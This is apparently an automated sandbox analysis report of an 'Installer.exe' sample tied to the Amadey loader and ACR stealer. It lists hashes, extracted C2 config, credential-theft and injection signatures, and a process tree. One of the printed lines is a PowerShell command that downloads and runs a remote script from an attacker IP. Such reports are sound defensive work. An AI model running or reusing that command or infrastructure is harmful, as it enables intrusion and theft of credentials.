Analysis
- max time kernel
302s - max time network
217s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system - submitted
04/11/2025, 14:30
Behavioral task
behavioral1
Sample
Installer.exe
Resource
win10v2004-20251016-en
Behavioral task
behavioral2
Sample
Installer.exe
Resource
win10ltsc2021-20251017-en
General
- Target Installer.exe
- Size 646.4MB
- Sample251104-rvbghsb19d
- SHA256 aa5168c20c885a7a7778246f9de51f279b04615b8feafba5bccc33cb9ffbf92f
- MD5 d4063c30c4af689cfc39f4f0a36bbb1b
- SHA1 3de063c41dcd58503a14bd1b3441b16cae717492
- SHA512 67be35c7f2d5a5d96d0a796a785459bbfbe2d8ce20fcd3a40bd0350b6a6113dd473e86feb9e9e1754ec15022c5469d4328f51dd849f43b6a45a66187a778f232
- SSDEEP 49152:PF/cxnIol/BiheVDSAPLqn0oehQUvFgQsVLWQiEIryw3tYq/CR3Pum8kjQv7q7Id:41HTVNPL0N3sl
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://87.120.219.26/CCZT7wMNnD29ie
Extracted
-
amadey
-
5.70
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2265ca
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http://mi.huffproofs.com
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install_dir
3be1510d5b
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install_file
Pwvoqdmgn.exe
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strings_key
13416e8592239dcfe754c2affc83cb4f
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url_paths
/kaWt2QXfpPueNM/index.php
Signatures
- ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Acrstealer family
- Amadey family
- Detects Amadey x86-bit Payload 1 IoCs
resource yara_rule behavioral3/memory/2312-2067-0x0000000000400000-0x000000000046F000-memory.dmp family_amadey_v2 - Detects unpacked ACRstealer payload 1 IoCs
resource yara_rule behavioral3/memory/4672-1359-0x0000000002AA0000-0x0000000002ABA000-memory.dmp family_acrstealer_payload - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 18 5700 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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pid Process 5700 powershell.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4672 Installer.exe 4672 Installer.exe - Suspicious use of SetThreadContext 10 IoCs
description pid Process procid_target PID 4672 set thread context of 952 4672 Installer.exe 79 PID 4672 set thread context of 4556 4672 Installer.exe 81 PID 4672 set thread context of 5372 4672 Installer.exe 83 PID 4672 set thread context of 2832 4672 Installer.exe 89 PID 4672 set thread context of 5824 4672 Installer.exe 90 PID 4672 set thread context of 5228 4672 Installer.exe 91 PID 4672 set thread context of 5644 4672 Installer.exe 92 PID 4672 set thread context of 1640 4672 Installer.exe 97 PID 4672 set thread context of 2312 4672 Installer.exe 100 PID 4672 set thread context of 1536 4672 Installer.exe 101 - Program crash 1 IoCs
pid pid_target Process procid_target 1876 1536 WerFault.exe 101 - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Installer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe 4672 Installer.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5700 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 4672 wrote to memory of 952 4672 Installer.exe 79 PID 952 wrote to memory of 4672 952 chrome.exe 78 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4672 wrote to memory of 4556 4672 Installer.exe 81 PID 4556 wrote to memory of 4672 4556 msedge.exe 78 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 5372 4672 Installer.exe 83 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 2832 4672 Installer.exe 89 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5824 4672 Installer.exe 90 PID 4672 wrote to memory of 5228 4672 Installer.exe 91 PID 4672 wrote to memory of 5228 4672 Installer.exe 91 PID 4672 wrote to memory of 5228 4672 Installer.exe 91
Processes
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C:\Users\Admin\AppData\Local\Temp\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Installer.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:952
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4556
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:5372
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:2832
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:5824
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:5228
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:5644
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:1640
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5700
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:2312
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:1536 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 4643⤵
- Program crash
PID:1876
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:464
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:3016
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1536 -ip 15361⤵PID:2012
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 ad4637c1db7c0c812d75c732cc5370b1ca25ab0d7716760ecbc19f5e75a6352f
- MD5 c79175fe1809ae47bec80839934ca4f6
- SHA1 acec378ed9834be6ed07b0eb667b3d7504fa14fe
- SHA512 6756dec7e98f32ba8b1fa22ea026dc800f17f57863d7cc82b495c384f763743d00e46b1afa0c9ec1c6d7e336984347c1310ff188b97c6382d66f13e7ca16514f
- SSDEEP 24:TLym91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fB2d5vXtkl8BuCnPZUwLnuj:Tem9aw/aHLopFMavU1iB2HFy8DrLng
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 151f0e8de7836e7071f8e819a0826f9366ead9a2d00688471a2e6aaf8699ffc5
- MD5 9854b61466a41bf2588f85df6d4153a5
- SHA1 3adb0e013ab28c76441429a94c75008543887874
- SHA512 9adc7fab72d0a65232833e0e53b30ed20487cebd467f5d3b9504859e8e1d41c884bb2d1658d49c3631218427a9ee501c83e88ccb6f4f7c84a0e1a02a2d4006f2
- SSDEEP 24:TLZLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfBLJmiNqjZhJXm/:T9LopFMatSaw/auUOt8BLJmkqtLm/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 40KB
- SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
- MD5 dfd4f60adc85fc874327517efed62ff7
- SHA1 f97489afb75bfd5ee52892f37383fbc85aa14a69
- SHA512 d76f75b1b5b23aa4f87c53ce44c3d3b7e41a44401e53d89f05a114600ea3dcd8beda9ca1977b489ac6ea5586cf26e47396e92d4796c370e89fab0aa76f38f3c4
- SSDEEP 96:iLSQCn8MouB6w9f/8iZqmvJKLPeymwil:iLSQG7Iw9fEiSi
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 56KB
- SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
- MD5 0e2c60740cafa19c5158f4aa41a5d4e7
- SHA1 f01d0f359e407fed424c30919ed64b77508b3024
- SHA512 e367b88f1d984f84b9b4a8fa4002ede1afad0d375f9374636250f17e64445a60d1b99fe23a0b314c4b2bd5fd27fe5b87fa4079a84b4497629f238afd8436afe2
- SSDEEP 96:qUfXG38t8KLPeymORCGr25bn8MouB6w9f/rGSEPONy:qUu0RCGr2V7Iw9fFN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 130KB
- SHA256 ce491c6a6d8e1fce500e65e299b55293aa2c3c1fd2aff9ca8d07ee72618facca
- MD5 6f76f7d80957957f0fc46993ee2e9768
- SHA1 e9c1b5e29101b8e3803250d8b30a6c74ecb2b590
- SHA512 8f035779e141287f9fb6b3453aa6f089f2d6bd81eb0553fec343db0d7abfb1293d41bfcad260b7c991e440014e9d2c5ebe04e3f67f1ecbf7e4b72dd7bb779f79
- SSDEEP 192:4B4BvnXuvkUUo4nVaIvsb5wS7opX6wqXVumVI:yovXuvepnkIvsb5wS7sSVumVI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 228KB
- SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
- MD5 8ce704458e632d243a023357eec3702f
- SHA1 b4857c6a1e277776b8a08c243917eeae5470aa56
- SHA512 a96d4aded8fd5ce2cfeeaba2bc69a399006bc723e1aa0777989648b2fe8caa7b6d421744c2bcd52b633d0e2d41b951df2cbc91ac64054c7b8cb63f887b496449
- SSDEEP 192:DC3fT8aRJQnGqqrgenLfUK3NDivIz6DoNCPaWaVIdssXVydue2g2C0:e3fQuJQnPqrgWLfUK3hivmY4Cvp68C
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmsy4s1w.pdh.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512